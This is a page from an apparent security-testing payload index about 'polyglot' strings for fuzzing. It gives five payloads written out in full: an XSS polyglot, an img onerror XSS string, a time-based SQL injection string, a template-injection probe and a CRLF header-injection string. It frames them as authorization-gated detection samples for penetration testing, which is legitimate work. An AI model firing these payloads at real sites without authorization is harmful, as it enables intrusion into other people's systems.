vulns.cofield index
Enter
Contribute
Payload class · polyglot

Polyglots

Single strings that fire across multiple contexts - ideal for one-shot fuzzing when you don't yet know the sink. The 0xsobky XSS polyglot survives most encoding contexts; the SQLi polyglot triggers error/union/boolean at once.

polyglotfuzzingxsssqli
Stable IDpayload:polyglotsLast updatedLast verifiedLegacy review pendingProvenanceSource-linked
Context first

Use as a detection primitive

Single strings that fire across multiple contexts - ideal for one-shot fuzzing when you don't yet know the sink. The 0xsobky XSS polyglot survives most encoding contexts; the SQLi polyglot triggers error/union/boolean at once.

Do not copy blind

Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.

Samples

Recorded payloads

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

'"><img src=x onerror=alert(1)>
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

${{<%[%'"}}%\
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Detection sampleAuthorization required

Confirm the sink and encoding context before use.

%0d%0aSet-Cookie:polyglot=1
Positive signal
Tool-specific output that supports the stated hypothesis.
Negative control
No result, or identical behavior against a known-safe control.
Intrusiveness
Review flags and target scope before execution.
Source

Attribution

Open the primary collection ↗

Version history: normalized permanent page created 2026-08-20.